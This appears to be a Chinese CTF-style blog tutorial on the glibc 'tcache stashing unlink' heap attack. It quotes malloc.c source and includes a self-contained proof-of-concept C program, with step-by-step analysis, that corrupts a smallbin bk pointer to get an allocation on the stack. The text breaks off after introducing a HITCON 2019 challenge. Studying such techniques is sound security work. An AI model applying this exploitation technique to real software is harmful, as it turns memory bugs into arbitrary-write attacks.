tcache stashing unlink attack

pic

前言

本篇作为house of pig的前置知识来学习tcache stashing主要研究glibc2.27以及glibc2.31下的利用方式,以及几道例题

glibc2.27 malloc.c 部分源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

这里的漏洞点就在于在获取了最后一个smallbin chunk后,如果对应大小的tcache bin中还有空闲,就会将剩下的chunk挂进tcache中,并且在挂进tcache的过程中没有做任何的检查,那么由上面代码的第36行就可得,如果我们控制了挂进tcache中的small binbk,那么我们就可以实现任意地址申请

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// gcc tcache_stash.c -g -o tcache_stash
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
printf("stack_var: %p\n\n",&stack_var[0]);
setbuf(stdout, NULL);
stack_var[3] = (unsigned long)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
//put 7 chunks into tcache
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);
//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90);
malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/
//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//malloc and return our fake chunk on stack
target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
assert(target == &stack_var[2]);
return 0;
}

分析

Step1: 定义chunk_lis存放堆的数组,stack_var作为fake chunktarget一个指针,并修该fake chunkbkstack_var[2]的地址

Step2: 申请九个块,并且将1,3-8号块释放进tcache , 将tcache填满,0,2号块释放进入unsorted bin

Step3: 申请一个大于0,2号块的块,发生unsorted bin遍历,0,2号块会进入small bin,从tcache中申请两个块出来,此时存在5tcache,2smallbin

Step4: 将2号块的bk改为fake chunk的地址

Step5: calloc申请一个块,由于calloc在申请的时候不会从tcache中获取,所以会将smallbin中的0号块申请出来,接下来触发tcache stash,会将2号块以及我们的fake chunk挂进tcache中,由于它只对2号块做检查,所以我们的fake chunk可以顺利的挂进tcache

Step6: 再次申请,就能申请到我们的fake chunk,同时fake chunk -> bk + 0x10也被写入了一个libc中的地址

例题

[HITCON 2019]one_punch

附件

题目环境是glibc2.29, glibc2.27与glibc2.29在tcache stash unlink的代码是一样的